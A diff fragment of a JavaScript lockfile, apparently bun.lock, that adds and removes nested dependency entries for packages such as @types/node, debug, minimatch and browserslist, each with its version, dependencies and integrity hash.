+ "@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
+
+ "@smithy/util-waiter/@smithy/abort-controller": ["@smithy/abort-controller@4.0.4", "", { "dependencies": { "@smithy/types": "^4.3.1", "tslib": "^2.6.2" } }, "sha512-gJnEjZMvigPDQWHrW3oPrFhQtkrgqBkyjj3pCIdF3A5M6vsZODG93KNlfJprv6bp4245bdT32fsHK4kkH3KYDA=="],
"@surma/rollup-plugin-off-main-thread/magic-string": ["magic-string@0.25.9", "", { "dependencies": { "sourcemap-codec": "^1.4.8" } }, "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ=="],
"@tanstack/match-sorter-utils/remove-accents": ["remove-accents@0.4.2", "", {}, "sha512-7pXIJqJOq5tFgG1A2Zxti3Ht8jJF337m4sowbuHsW30ZnkQFnDzy9qBNhgzX8ZLW4+UBcXiiR7SwR6pokHsxiA=="],
- "@testing-library/dom/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
"@testing-library/dom/aria-query": ["aria-query@5.1.3", "", { "dependencies": { "deep-equal": "^2.0.5" } }, "sha512-R5iJ5lkuHybztUfuOAznmboyjWq8O6sqNqtK7CLOqdydi54VNbORp49mb14KbWgG1QD3JFO9hJdZ+y4KutfdOQ=="],
"@testing-library/dom/dom-accessibility-api": ["dom-accessibility-api@0.5.16", "", {}, "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg=="],
"@testing-library/dom/pretty-format": ["pretty-format@27.5.1", "", { "dependencies": { "ansi-regex": "^5.0.1", "ansi-styles": "^5.0.0", "react-is": "^17.0.1" } }, "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ=="],
- "@types/babel__core/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@types/babel__core/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@types/babel__generator/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@types/babel__template/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@types/babel__template/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@types/babel__traverse/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@types/body-parser/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
-
- "@types/connect/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
-
- "@types/express-serve-static-core/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
-
- "@types/jsdom/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
-
- "@types/jsonwebtoken/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
-
- "@types/ldapjs/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
-
"@types/mdast/@types/unist": ["@types/unist@2.0.10", "", {}, "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA=="],
- "@types/node-fetch/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
-
- "@types/send/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
-
- "@types/serve-static/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
-
"@types/testing-library__jest-dom/@types/jest": ["@types/jest@29.5.12", "", { "dependencies": { "expect": "^29.0.0", "pretty-format": "^29.0.0" } }, "sha512-eDC8bTvT/QhYdxJAulQikueigY5AsdBRH2yDKW3yveW7svY3+DzN84/2NUgkw10RTiJbWqZrTtoGVdYlvFJdLw=="],
"@types/winston/winston": ["winston@3.11.0", "", { "dependencies": { "@colors/colors": "^1.6.0", "@dabh/diagnostics": "^2.0.2", "async": "^3.2.3", "is-stream": "^2.0.0", "logform": "^2.4.0", "one-time": "^1.0.0", "readable-stream": "^3.4.0", "safe-stable-stringify": "^2.3.1", "stack-trace": "0.0.x", "triple-beam": "^1.3.0", "winston-transport": "^4.5.0" } }, "sha512-L3yR6/MzZAOl0DsysUXHVjOwv8mKZ71TrA/41EIduGpOOV5LQVodqN+QdQ6BS6PJ/RdIshZhq84P/fStEZkk7g=="],
- "@types/xml-encryption/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
-
- "@types/xml2js/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
-
- "@typescript-eslint/parser/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@typescript-eslint/type-utils/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@typescript-eslint/typescript-estree/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
"@typescript-eslint/typescript-estree/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
"@typescript-eslint/typescript-estree/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
@@ -6189,29 +5751,17 @@
"asn1.js/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="],
- "autoprefixer/caniuse-lite": ["caniuse-lite@1.0.30001777", "", {}, "sha512-tmN+fJxroPndC74efCdp12j+0rk0RHwV5Jwa1zWaFVyw2ZxAuPeG8ZgWC3Wz7uSjT3qMRQ5XHZ4COgQmsCMJAQ=="],
-
"babel-jest/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
"babel-plugin-root-import/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
- "babel-plugin-transform-import-meta/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "body-parser/iconv-lite": ["iconv-lite@0.7.2", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw=="],
-
- "body-parser/qs": ["qs@6.15.0", "", { "dependencies": { "side-channel": "^1.1.0" } }, "sha512-mAZTtNCeetKMH+pSjrb76NAM8V9a05I9aBZOHztWy/UqcJdQYNsf59vrRKWnojAT9Y+GbIvoTBC++CPHqpDBhQ=="],
-
- "body-parser/raw-body": ["raw-body@3.0.2", "", { "dependencies": { "bytes": "~3.1.2", "http-errors": "~2.0.1", "iconv-lite": "~0.7.0", "unpipe": "~1.0.0" } }, "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA=="],
-
"browser-resolve/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
"browserify-rsa/bn.js": ["bn.js@5.2.2", "", {}, "sha512-v2YAxEmKaBLahNwE1mjp4WON6huMNeuDvagFZW+ASCuA/ku0bXR9hSMw0XpiqMoA3+rmnyck/tPRSFQkoC9Cuw=="],
"browserify-sign/bn.js": ["bn.js@5.2.2", "", {}, "sha512-v2YAxEmKaBLahNwE1mjp4WON6huMNeuDvagFZW+ASCuA/ku0bXR9hSMw0XpiqMoA3+rmnyck/tPRSFQkoC9Cuw=="],
- "browserslist/caniuse-lite": ["caniuse-lite@1.0.30001777", "", {}, "sha512-tmN+fJxroPndC74efCdp12j+0rk0RHwV5Jwa1zWaFVyw2ZxAuPeG8ZgWC3Wz7uSjT3qMRQ5XHZ4COgQmsCMJAQ=="],
-
- "bun-types/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
+ "browserify-sign/readable-stream": ["readable-stream@2.3.8", "", { "dependencies": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", "isarray": "~1.0.0", "process-nextick-args": "~2.0.0", "safe-buffer": "~5.1.1", "string_decoder": "~1.1.1", "util-deprecate": "~1.0.1" } }, "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA=="],
"caniuse-api/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
@@ -6219,8 +5769,6 @@
"chalk/supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="],
- "cheerio/undici": ["undici@7.16.0", "", {}, "sha512-QEg3HPMll0o3t2ourKwOeUAZ159Kn9mx5pnzHRQO8+Wixmh88YdZRiIwat0iNzNNXn0yoEtXJqFpyW7eM8BV7g=="],
-
"chokidar/glob-parent": ["glob-parent@5.1.2", "", { "dependencies": { "is-glob": "^4.0.1" } }, "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow=="],
"cli-truncate/string-width": ["string-width@7.2.0", "", { "dependencies": { "emoji-regex": "^10.3.0", "get-east-asian-width": "^1.0.0", "strip-ansi": "^7.1.0" } }, "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ=="],
@@ -6233,74 +5781,34 @@
"compression/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="],
- "concat-stream/readable-stream": ["readable-stream@3.6.2", "", { "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" } }, "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA=="],
-
"cookie-parser/cookie-signature": ["cookie-signature@1.0.6", "", {}, "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ=="],
- "core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
-
"create-ecdh/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="],
- "css-blank-pseudo/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
-
- "css-has-pseudo/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
-
"cssnano/lilconfig": ["lilconfig@2.1.0", "", {}, "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ=="],
"cssnano/yaml": ["yaml@1.10.2", "", {}, "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg=="],
- "cytoscape-fcose/cose-base": ["cose-base@2.2.0", "", { "dependencies": { "layout-base": "^2.0.0" } }, "sha512-AzlgcsCbUMymkADOJtQm3wO9S3ltPfYOFD5033keQn9NJzIbtnZj+UdBJe7DYml/8TdbtHJW3j58SOnKhWY/5g=="],
-
- "d3-dsv/commander": ["commander@7.2.0", "", {}, "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw=="],
-
- "d3-sankey/d3-array": ["d3-array@2.12.1", "", { "dependencies": { "internmap": "^1.0.0" } }, "sha512-B0ErZK/66mHtEsR1TkPEEkwdy+WDesimkM5gpZr5Dsg54BiTA5RXtYW5qTLIAcekaS9xfZrzBLF/OAkB3Qn1YQ=="],
-
- "d3-sankey/d3-shape": ["d3-shape@1.3.7", "", { "dependencies": { "d3-path": "1" } }, "sha512-EUkvKjqPFUAZyOlhY5gzCxCeI0Aep04LwIRpsZ/mLFelJiUfnK56jo5JMDSE7yyP2kLSb6LtF+S5chMk7uqPqw=="],
-
"data-urls/whatwg-url": ["whatwg-url@14.2.0", "", { "dependencies": { "tr46": "^5.1.0", "webidl-conversions": "^7.0.0" } }, "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw=="],
- "deep-equal/isarray": ["isarray@2.0.5", "", {}, "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw=="],
-
"diffie-hellman/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="],
- "dom-serializer/entities": ["entities@4.5.0", "", {}, "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw=="],
+ "domexception/webidl-conversions": ["webidl-conversions@7.0.0", "", {}, "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="],
"error-ex/is-arrayish": ["is-arrayish@0.2.1", "", {}, "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg=="],
- "es-get-iterator/isarray": ["isarray@2.0.5", "", {}, "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw=="],
-
- "eslint/@eslint/eslintrc": ["@eslint/eslintrc@3.3.1", "", { "dependencies": { "ajv": "^6.12.4", "debug": "^4.3.2", "espree": "^10.0.1", "globals": "^14.0.0", "ignore": "^5.2.0", "import-fresh": "^3.2.1", "js-yaml": "^4.1.0", "minimatch": "^3.1.2", "strip-json-comments": "^3.1.1" } }, "sha512-gtF186CXhIl1p4pJNGZw8Yc6RlshoePRvE0X91oPGb3vZ8pM3qOS9W9NGPat9LziaBV7XrJWGylNQXkGcnM3IQ=="],
-
- "eslint/ajv": ["ajv@6.12.6", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g=="],
-
- "eslint/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "eslint/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
-
"eslint-import-resolver-node/debug": ["debug@3.2.7", "", { "dependencies": { "ms": "^2.1.1" } }, "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ=="],
"eslint-import-resolver-node/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
- "eslint-import-resolver-typescript/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
"eslint-module-utils/debug": ["debug@3.2.7", "", { "dependencies": { "ms": "^2.1.1" } }, "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ=="],
- "eslint-plugin-i18next/lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="],
-
"eslint-plugin-import/debug": ["debug@3.2.7", "", { "dependencies": { "ms": "^2.1.1" } }, "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ=="],
- "eslint-plugin-import/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
-
- "eslint-plugin-jsx-a11y/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
-
- "eslint-plugin-react/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
-
"execa/is-stream": ["is-stream@3.0.0", "", {}, "sha512-LnQR4bZ9IADDRSkvpqMGvt/tEJWclzklNgSw48V5EAaAeDd6qGvN8ei6k5p0tvxSR171VmGyHuTiAOfxAbr8kA=="],
"expect/jest-message-util": ["jest-message-util@29.7.0", "", { "dependencies": { "@babel/code-frame": "^7.12.13", "@jest/types": "^29.6.3", "@types/stack-utils": "^2.0.0", "chalk": "^4.0.0", "graceful-fs": "^4.2.9", "micromatch": "^4.0.4", "pretty-format": "^29.7.0", "slash": "^3.0.0", "stack-utils": "^2.0.3" } }, "sha512-GBEV4GRADeP+qtB2+6u61stea8mGcOT4mCtrYISZwfu9/ISHFJ/5zOMXYbpBE9RsS5+Gb63DW4FgmnKJ79Kf6w=="],
- "expect/jest-util": ["jest-util@29.7.0", "", { "dependencies": { "@jest/types": "^29.6.3", "@types/node": "*", "chalk": "^4.0.0", "ci-info": "^3.2.0", "graceful-fs": "^4.2.9", "picomatch": "^2.2.3" } }, "sha512-z6EbKajIpqGKU56y5KBUgy1dt1ihhQJgWzUlZHArA/+X2ad7Cb5iF+AK1EWVL/Bo7Rz9uurpqw6SiBCefUbCGA=="],
-
"express-session/cookie-signature": ["cookie-signature@1.0.7", "", {}, "sha512-NXdYc3dLr47pBkpUCHtKSwIOQXLVn8dZEuywboCOJY/osA0wFSLlSawr3KN8qXJEyX66FcONTH8EIlVuK0yyFA=="],
"express-session/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="],
@@ -6311,23 +5819,25 @@
"filelist/minimatch": ["minimatch@5.1.6", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g=="],
- "finalhandler/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
"flat-cache/keyv": ["keyv@4.5.4", "", { "dependencies": { "json-buffer": "3.0.1" } }, "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw=="],
"form-data/mime-types": ["mime-types@2.1.35", "", { "dependencies": { "mime-db": "1.52.0" } }, "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw=="],
